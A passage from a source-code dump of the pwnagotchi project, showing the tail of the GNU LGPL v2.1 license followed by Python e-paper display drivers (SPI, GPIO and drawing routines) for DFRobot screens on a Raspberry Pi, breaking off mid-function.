work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it! ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v1/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v1/dfrobot.py ================================================ # DFRobot display support import logging from . import dfrobot_epaper #Resolution of display WIDTH = 250 HEIGHT = 122 RASPBERRY_SPI_BUS = 0 RASPBERRY_SPI_DEV = 0 RASPBERRY_PIN_CS = 27 RASPBERRY_PIN_CD = 17 RASPBERRY_PIN_BUSY = 4 class DFRobot: def __init__(self): self._display = dfrobot_epaper.DFRobot_Epaper_SPI(RASPBERRY_SPI_BUS, RASPBERRY_SPI_DEV, RASPBERRY_PIN_CS, RASPBERRY_PIN_CD, RASPBERRY_PIN_BUSY) self._display.begin() self.clear(0xFF) self.FULL = self._display.FULL self.PART = self._display.PART def getbuffer(self, image): if HEIGHT % 8 == 0: linewidth = HEIGHT // 8 else: linewidth = HEIGHT // 8 + 1 buf = [0xFF] * (linewidth * WIDTH) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() if (imwidth == HEIGHT and imheight == WIDTH): for y in range(imheight): for x in range(imwidth): if pixels[x,y] == 0: x = imwidth - x buf[x // 8 + y * linewidth] &= ~(0x80 >> (x % 8)) elif (imwidth == WIDTH and imheight == HEIGHT): for y in range(imheight): for x in range(imwidth): newx = y newy = WIDTH - x - 1 if pixels[x,y] == 0: newy = imwidth - newy - 1 buf[newx // 8 + newy * linewidth] &= ~(0x80 >> (y % 8)) return buf def flush(self, type): self._display.flush(type) def display(self, buf): self._display.setBuffer(buf) self.flush(self._display.PART) def clear(self, color): if HEIGHT % 8 == 0: linewidth = HEIGHT // 8 else: linewidth = HEIGHT // 8 + 1 buf = [color] * (linewidth * WIDTH) self._display.setBuffer(buf) self.flush(self._display.FULL) ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v1/dfrobot_epaper.py ================================================ # -*- coding:utf-8 -*- import time import sys sys.path.append("..") try: from .spi import SPI from .gpio import GPIO except: print("unknown platform") sys.exit() CONFIG_IL0376F = { } CONFIG_IL3895 = { } class DFRobot_Epaper: XDOT = 128 YDOT = 250 FULL = True PART = False def __init__(self, width = 250, height = 122): # length = width * height // 8 length = 4000 self._displayBuffer = bytearray(length) i = 0 while i < length: self._displayBuffer[i] = 0xff i = i + 1 self._isBusy = False self._busyExitEdge = GPIO.RISING def _busyCB(self, channel): self._isBusy = False def setBusyExitEdge(self, edge): if edge != GPIO.HIGH and edge != GPIO.LOW: return self._busyEdge = edge def begin(self): pass # self.setBusyCB(self._busyCB) # self._powerOn() def setBuffer(self, buffer): self._displayBuffer = buffer def pixel(self, x, y, color): if x < 0 or x >= self._width: return if y < 0 or y >= self._height: return x = int(x) y = int(y) m = int(x * 16 + (y + 1) / 8) sy = int((y + 1) % 8) if color == self.WHITE: if sy != 0: self._displayBuffer[m] = self._displayBuffer[m] | int(pow(2, 8 - sy)) else: self._displayBuffer[m - 1] = self._displayBuffer[m - 1] | 1 elif color == self.BLACK: if sy != 0: self._displayBuffer[m] = self._displayBuffer[m] & (0xff - int(pow(2, 8 - sy))) else: self._displayBuffer[m - 1] = self._displayBuffer[m - 1] & 0xfe def _setWindow(self, x, y): hres = y // 8 hres = hres << 3 vres_h = x >> 8 vres_l = x & 0xff self.writeCmdAndData(0x61, [hres, vres_h, vres_l]) def _initLut(self, mode): if mode == self.FULL: self.writeCmdAndData(0x32, [0x22,0x55,0xAA,0x55,0xAA,0x55,0xAA, 0x11,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x1E,0x1E,0x1E,0x1E,0x1E, 0x1E,0x1E,0x1E,0x01,0x00,0x00,0x00,0x00]) elif mode == self.PART: self.writeCmdAndData(0x32, [0x18,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0F,0x01,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]) def _setRamData(self, xStart, xEnd, yStart, yStart1, yEnd, yEnd1): self.writeCmdAndData(0x44, [xStart, xEnd]) self.writeCmdAndData(0x45, [yStart, yStart1, yEnd, yEnd1]) def _setRamPointer(self, x, y, y1): self.writeCmdAndData(0x4e, [x]) self.writeCmdAndData(0x4f, [y, y1]) def _init(self): self.writeCmdAndData(0x01, [(self.YDOT - 1) % 256, (self.YDOT - 1) // 256, 0x00]) self.writeCmdAndData(0x0c, [0xd7, 0xd6, 0x9d]) self.writeCmdAndData(0x2c, [0xa8]) self.writeCmdAndData(0x3a, [0x1a]) self.writeCmdAndData(0x3b, [0x08]) self.writeCmdAndData(0x11, [0x01]) self._setRamData(0x00, (self.XDOT - 1) // 8, (self.YDOT - 1) % 256, (self.YDOT - 1) // 256, 0x00, 0x00) self._setRamPointer(0x00, (self.YDOT - 1) % 256, (self.YDOT - 1) // 256) def _writeDisRam(self, sizeX, sizeY): if sizeX % 8 != 0: sizeX = sizeX + (8 - sizeX % 8) sizeX = sizeX // 8 self.writeCmdAndData(0x24, self._displayBuffer[0: sizeX * sizeY]) def _updateDis(self, mode): if mode == self.FULL: self.writeCmdAndData(0x22, [0xc7]) elif mode == self.PART: self.writeCmdAndData(0x22, [0x04]) else: return self.writeCmdAndData(0x20, []) self.writeCmdAndData(0xff, []) def _waitBusyExit(self): temp = 0 while self.readBusy() != False: time.sleep(0.01) temp = temp + 1 if (temp % 200) == 0: print("waitBusyExit") def _powerOn(self): self.writeCmdAndData(0x22, [0xc0]) self.writeCmdAndData(0x20, []) def _powerOff(self): self.writeCmdAndData(0x12, []) self.writeCmdAndData(0x82, [0x00]) self.writeCmdAndData(0x01, [0x02, 0x00, 0x00, 0x00, 0x00]) self.writeCmdAndData(0x02, []) def _disPart(self, xStart, xEnd, yStart, yEnd): self._setRamData(xStart // 8, xEnd // 8, yEnd % 256, yEnd // 256, yStart % 256, yStart // 256) self._setRamPointer(xStart // 8, yEnd % 256, yEnd // 256) self._writeDisRam(xEnd - xStart, yEnd - yStart + 1) self._updateDis(self.PART) def flush(self, mode): if mode != self.FULL and mode != self.PART: return self._init() self._initLut(mode) self._powerOn() if mode == self.PART: self._disPart(0, self.XDOT - 1, 0, self.YDOT - 1) else: self._setRamPointer(0x00, (self.YDOT - 1) % 256, (self.YDOT - 1) // 256) self._writeDisRam(self.XDOT, self.YDOT) self._updateDis(mode) def startDrawBitmapFile(self, x, y): self._bitmapFileStartX = x self._bitmapFileStartY = y def bitmapFileHelper(self, buf): for i in range(len(buf) // 3): addr = i * 3 if buf[addr] == 0x00 and buf[addr + 1] == 0x00 and buf[addr + 2] == 0x00: self.pixel(self._bitmapFileStartX, self._bitmapFileStartY, self.BLACK) else: self.pixel(self._bitmapFileStartX, self._bitmapFileStartY, self.WHITE) self._bitmapFileStartX += 1 def endDrawBitmapFile(self): self.flush(self.PART) class DFRobot_Epaper_SPI(DFRobot_Epaper): def __init__(self, bus, dev, cs, cd, busy): DFRobot_Epaper.__init__(self) self._spi = SPI(bus, dev) self._cs = GPIO(cs, GPIO.OUT) self._cd = GPIO(cd, GPIO.OUT) self._busy = GPIO(busy, GPIO.IN) def writeCmdAndData(self, cmd, data = []): self._waitBusyExit() self._cs.setOut(GPIO.LOW) self._cd.setOut(GPIO.LOW) self._spi.transfer([cmd]) self._cd.setOut(GPIO.HIGH) self._spi.transfer(data) self._cs.setOut(GPIO.HIGH) def readBusy(self): return self._busy.read() def setBusyCB(self, cb): self._busy.setInterrupt(self._busyExitEdge, cb) ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v1/gpio.py ================================================ # -*- coding:utf-8 -*- import time import RPi.GPIO as RPIGPIO RPIGPIO.setmode(RPIGPIO.BCM) RPIGPIO.setwarnings(False) class GPIO: HIGH = RPIGPIO.HIGH LOW = RPIGPIO.LOW OUT = RPIGPIO.OUT IN = RPIGPIO.IN RISING = RPIGPIO.RISING FALLING = RPIGPIO.FALLING BOTH = RPIGPIO.BOTH def __init__(self, pin, mode, defaultOut = HIGH): self._pin = pin self._fInt = None self._intDone = True self._intMode = None if mode == self.OUT: RPIGPIO.setup(pin, mode) if defaultOut == self.HIGH: RPIGPIO.output(pin, defaultOut) else: RPIGPIO.output(pin, self.LOW) else: RPIGPIO.setup(pin, self.IN, pull_up_down = RPIGPIO.PUD_UP) def setOut(self, level): if level: RPIGPIO.output(self._pin, self.HIGH) else: RPIGPIO.output(self._pin, self.LOW) def _intCB(self, status): if self._intDone: self._intDone = False time.sleep(0.02) if self._intMode == self.BOTH: self._fInt() elif self._intMode == self.RISING and self.read() == self.HIGH: self._fInt() elif self._intMode == self.FALLING and self.read() == self.LOW: self._fInt() self._intDone = True def setInterrupt(self, mode, cb): if mode != self.RISING and mode != self.FALLING and mode != self.BOTH: return self._intMode = mode RPIGPIO.add_event_detect(self._pin, mode, self._intCB) self._fInt = cb def read(self): return RPIGPIO.input(self._pin) def cleanup(self): RPIGPIO.cleanup() ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v1/spi.py ================================================ # -*- coding:utf-8 -*- import spidev class SPI: MODE_1 = 1 MODE_2 = 2 MODE_3 = 3 MODE_4 = 4 def __init__(self, bus, dev, speed = 3900000, mode = MODE_4): self._bus = spidev.SpiDev() self._bus.open(bus, dev) self._bus.no_cs = True self._bus.max_speed_hz = speed def transfer(self, buf): if len(buf): return self._bus.xfer(buf) return [] ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot.py ================================================ # DFRobot display support import logging from . import dfrobot_epaper #Resolution of display WIDTH = 250 HEIGHT = 122 RASPBERRY_SPI_BUS = 0 RASPBERRY_SPI_DEV = 0 RASPBERRY_PIN_CS = 27 RASPBERRY_PIN_CD = 17 RASPBERRY_PIN_BUSY = 4 class DFRobot: def __init__(self): self._display = dfrobot_epaper.DFRobot_Epaper_SPI(RASPBERRY_SPI_BUS, RASPBERRY_SPI_DEV, RASPBERRY_PIN_CS, RASPBERRY_PIN_CD, RASPBERRY_PIN_BUSY) self._display.begin() self.clear(0xFF) self.FULL = self._display.FULL self.PART = self._display.PART def getbuffer(self, image): if HEIGHT % 8 == 0: linewidth = HEIGHT // 8 else: linewidth = HEIGHT // 8 + 1 buf = [0xFF] * (linewidth * WIDTH) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() if (imwidth == HEIGHT and imheight == WIDTH): for y in range(imheight): for x in range(imwidth): if pixels[x,y] == 0: x = imwidth - x buf[x // 8 + y * linewidth] &= ~(0x80 >> (x % 8)) elif (imwidth == WIDTH and imheight == HEIGHT): for y in range(imheight): for x in range(imwidth): newx = y newy = WIDTH - x - 1 if pixels[x,y] == 0: newy = imwidth - newy - 1 buf[newx // 8 + newy * linewidth] &= ~(0x80 >> (y % 8)) return buf def flush(self, type): self._display.flush(type) def display(self, buf): self._display.setBuffer(buf) self.flush(self._display.PART) def clear(self, color): if HEIGHT % 8 == 0: linewidth = HEIGHT // 8 else: linewidth = HEIGHT // 8 + 1 buf = [color] * (linewidth * WIDTH) self._display.setBuffer(buf) self.flush(self._display.FULL) ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot_display/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot_display/dfrobot_display.py ================================================ # -*- coding:utf-8 -*- import sys from .dfrobot_printString import PrintString from .dfrobot_fonts import Fonts def color24to16(color): return (((color >> 8) & 0xf800) | ((color >> 5) & 0x7e0) | ((color >> 3) & 0x1f)) def color16to24(color): return (((color & 0xf800) << 8) | ((color & 0x7e0) << 5) | ((color & 0x1f) << 3)) def swap(o1, o2): return (o2, o1) class DFRobot_Display(PrintString): WHITE24 = 0xffffff SILVER24 = 0xc0c0c0 GRAY24 = 0x808080 BLACK24 = 0x000000 RED24 = 0xff0000 MAROON24 = 0x800000 YELLOW24 = 0xffff00 OLIVE24 = 0x808000 GREEN24 = 0x00ff00 DARKGREEN24 = 0x008000 CYAN24 = 0x00ffff BLUE24 = 0x0000ff NAVY24 = 0x000080 FUCHSIA24 = 0xff00ff PURPLE24 = 0x800080 TEAL24 = 0x008080 WHITE16 = color24to16(WHITE24) SILVER16 = color24to16(SILVER24) GRAY16 = color24to16(GRAY24) BLACK16 = color24to16(BLACK24) RED16 = color24to16(RED24) MAROON16 = color24to16(MAROON24) YELLOW16 = color24to16(YELLOW24) OLIVE16 = color24to16(OLIVE24) GREEN16 = color24to16(GREEN24) DARKGREEN16 = color24to16(DARKGREEN24) CYAN16 = color24to16(CYAN24) BLUE16 = color24to16(BLUE24) NAVY16 = color24to16(NAVY24) FUCHSIA16 = color24to16(FUCHSIA24) PURPLE16 = color24to16(PURPLE24) TEAL16 = color24to16(TEAL24) WHITE = WHITE16 SILVER = SILVER16 GRAY = GRAY16 BLACK = BLACK16 RED = RED16 MAROON = MAROON16 YELLOW = YELLOW16 OLIVE = OLIVE16 GREEN = GREEN16 DARKGREEN = DARKGREEN16 CYAN = CYAN16 BLUE = BLUE16 NAVY = NAVY16 FUCHSIA = FUCHSIA16 PURPLE = PURPLE16 TEAL = TEAL16 POSITIVE = 1 REVERSE = -1 BITMAP_TBMLLR = "TBMLLR" BITMAP_TBMRLL = "TBMRLL" BITMAP_BTMLLR = "BTMLLR" BITMAP_BTMRLL = "BTMRLL" BITMAP_LRMTLB = "LRMTLB" BITMAP_LRMBLT = "LRMBLT" BITMAP_RLMTLB = "RLMTLB" BIMTAP_RLMBLT = "RLMBLT" BITMAP_UNKNOW = "UNKNOW" def __init__(self, w, h): PrintString.__init__(self) print("DFRobot_Display init " + str(w) + " " + str(h)) self._width = w self._height = h self._lineWidth = 1 self._bitmapSize = 1 self._bitmapFmt = "" self._bmpFmt = self.BITMAP_TBMLLR self._fonts = Fonts() self._textSize = 1 self._textColor = self.BLACK self._textBackground = self.WHITE self._textCursorX = 0 self._textCursorY = 0 self._textIntervalRow = 0 self._textIntervalCol = 0 def _ternaryExpression(self, condition, o1, o2): if condition: return o1 return o2 def _getDirection(self, value): if value >= 0: return 1 return -1 def color16to24(self, color): return color16to24(color) def color24to16(self, color): return color24to16(color) def setColorTo16(self): self.WHITE = self.WHITE16 self.SILVER = self.SILVER16 self.GRAY = self.GRAY16 self.BLACK = self.BLACK16 self.RED = self.RED16 self.MAROON = self.MAROON16 self.YELLOW = self.YELLOW16 self.OLIVE = self.OLIVE16 self.GREEN = self.GREEN16 self.DARKGREEN = self.DARKGREEN16 self.CYAN = self.CYAN16 self.BLUE = self.BLUE16 self.NAVY = self.NAVY16 self.FUCHSIA = self.FUCHSIA16 self.PURPLE = self.PURPLE16 self.TEAL = self.TEAL16 def setColorTo24(self): self.WHITE = self.WHITE24 self.SILVER = self.SILVER24 self.GRAY = self.GRAY24 self.BLACK = self.BLACK24 self.RED = self.RED24 self.MAROON = self.MAROON24 self.YELLOW = self.YELLOW24 self.OLIVE = self.OLIVE24 self.GREEN = self.GREEN24 self.DARKGREEN = self.DARKGREEN24 self.CYAN = self.CYAN24 self.BLUE = self.BLUE24 self.NAVY = self.NAVY24 self.FUCHSIA = self.FUCHSIA24 self.PURPLE = self.PURPLE24 self.TEAL = self.TEAL24 def setLineWidth(self, w): if w < 0: return self._lineWidth = w def setTextFormat(self, size, color, background, intervalRow = 2, intervalCol = 0): self._textColor = color self._textIntervalRow = intervalRow self._textIntervalCol = intervalCol self._textBackground = background if size < 0: return self._textSize = size def setTextCursor(self, x, y): self._textCursorX = int(x) self._textCursorY = int(y) def setBitmapSize(self, size): if size < 0: return self._bitmapSize = size def setBitmapFmt(self, fmt): self._bmpFmt = fmt def setExFonts(self, obj): self._fonts.setExFonts(obj) def setExFontsFmt(self, width, height): self._fonts.setExFontsFmt(width, height) def setEnableDefaultFonts(self, opt): self._fonts.setEnableDefaultFonts(opt) def pixel(self, x, y, color): pass def clear(self, color): self.fillRect(0, 0, self._width, self._height, color) self._textCursorX = 0 self._textCursorY = 0 def VLine(self, x, y, h, color): x = int(x) y = int(y) h = int(h) direction = self._getDirection(h) x -= self._lineWidth // 2 h = self._ternaryExpression(h > 0, h, -h) for i in range(self._ternaryExpression(h > 0, h, - h)): xx = x for j in range(self._lineWidth): self.pixel(xx, y, color) xx += 1 y += direction def HLine(self, x, y, w, color): x = int(x) y = int(y) w = int(w) direction = self._getDirection(w) y -= self._lineWidth // 2 for i in range(self._ternaryExpression(w > 0, w, - w)): yy = y for j in range(self._lineWidth): self.pixel(x, yy, color) yy += 1 x += direction def line(self, x, y, x1, y1, color): x = int(x) y = int(y) x1 = int(x1) y1 = int(y1) if x == x1: self.VLine(x, y, y1 - y, color) return if y == y1: self.HLine(x, y, x1 - x, color) return dx = abs(x1 - x) dy = abs(y1 - y) dirX = self._ternaryExpression(x < x1, 1, -1) dirY = self._ternaryExpression(y < y1, 1, -1) if dx > dy: err = dx / 2 for i in range(dx): self.HLine(x, y, 1, color) x += dirX err -= dy if err < 0: err += dx y += dirY self.HLine(x1, y1, 1, color) else: err = dy / 2 for i in range(dy): self.VLine(x, y, 1, color) y += dirY err -= dx if err < 0: err += dy x += dirX self.VLine(x1, y1, 1, color) def triangle(self, x, y, x1, y1, x2, y2, color): self.line(x, y, x1, y1, color) self.line(x1, y1, x2, y2, color) self.line(x2, y2, x, y, color) def fillTriangle(self, x, y, x1, y1, x2, y2, color): self.line(x, y, x1, y1, color) self.line(x1, y1, x2, y2, color) self.line(x2, y2, x, y, color) x = int(x) y = int(y) x1 = int(x1) y1 = int(y1) x2 = int(x2) y2 = int(y2) temp = self._lineWidth self._lineWidth = 1 if x == x1 and x == x2: ymax = max([y, y1, y2]) ymin = min([y, y1, y2]) self.HLine(x, ymin, ymax - ymin, color) self._lineWidth = temp return if y == y1 and y == y2: xmax = max([x, x1, x2]) xmin = max([x, x1, x2]) self.VLine(xmin, y, xmax - xmin, color) self._lineWidth = temp return direction = self.POSITIVE if y == y1 or y1 == y2 or y == y2: if y == y1: (x, x2) = swap(x, x2) (y, y2) = swap(y, y2) elif y == y2: (x, x1) = swap(x, x1) (y, y1) = swap(y, y1) if y > y1: direction = self.REVERSE if x1 > x2: (x1, x2) = swap(x1, x2) (y1, y2) = swap(y1, y2) else: if y > y1: (x, x1) = swap(x, x1) (y, y1) = swap(y, y1) if y > y2: (x, x2) = swap(x, x2) (y, y2) = swap(y, y2) if y1 > y2: (x1, x2) = swap(x1, x2) (y1, y2) = swap(y1, y2) dx1 = x1 - x dx2 = x2 - x dx3 = x2 - x1 dy1 = y1 - y dy2 = y2 - y dy3 = y2 - y1 if direction == self.POSITIVE: for i in range(dy1): self.HLine(x + dx1 * i / dy1, y + i, (x + dx2 * i / dy2) - (x + dx1 * i / dy1) + 1, color) for i in range(dy3): self.HLine(x1 + dx3 * i / dy3, y1 + i, (x + dx2 * (i + dy1) / dy2) - (x1 + dx3 * i / dy3) + 1, color) else: y = y1 + dy1 dy1 = - dy1 for i in range(dy1): self.HLine(x + dx1 * i / dy1, y1 + dy1 - i, (x + dx2 * i / dy1) - (x + dx1 * i / dy1) + 1, color) self._lineWidth = temp def rect(self, x, y, w, h, color): if w < 0: x += w w = -w if h < 0: y += h h = -h self.HLine(x - self._lineWidth // 2, y, w + self._lineWidth, color) self.HLine(x - self._lineWidth // 2, y + h, w + self._lineWidth, color) self.VLine(x, y - self._lineWidth // 2, h + self._lineWidth, color) self.VLine(x + w, y - self._lineWidth // 2, h + self._lineWidth, color) def fillRect(self, x, y, w, h, color): temp = self._lineWidth self._lineWidth = 1 if w < 0: x += w w = abs(w) for i in range(w): self.VLine(x + i, y, h, color) self._lineWidth = temp QUADRANT_1 = 1 QUADRANT_2 = 2 QUADRANT_3 = 4 QUADRANT_4 = 8 QUADRANT_ALL = 15 def circleHelper(self, x, y, r, quadrant, color): x = int(x) y = int(y) r = abs(int(r)) vx = 0 vy = r dx = 1 dy = -2 * r p = 1 - r if quadrant & self.QUADRANT_1: self.VLine(x + r, y, 1, color) if quadrant & self.QUADRANT_2: self.VLine(x, y - r, 1, color) if quadrant & self.QUADRANT_3: self.VLine(x - r, y, 1, color) if quadrant & self.QUADRANT_4: self.VLine(x, y + r, 1, color) halfLineWidth = self._lineWidth // 2 while vx < vy: if p >= 0: vy -= 1 dy += 2 p += dy vx += 1 dx += 2 p += dx if quadrant & self.QUADRANT_1: 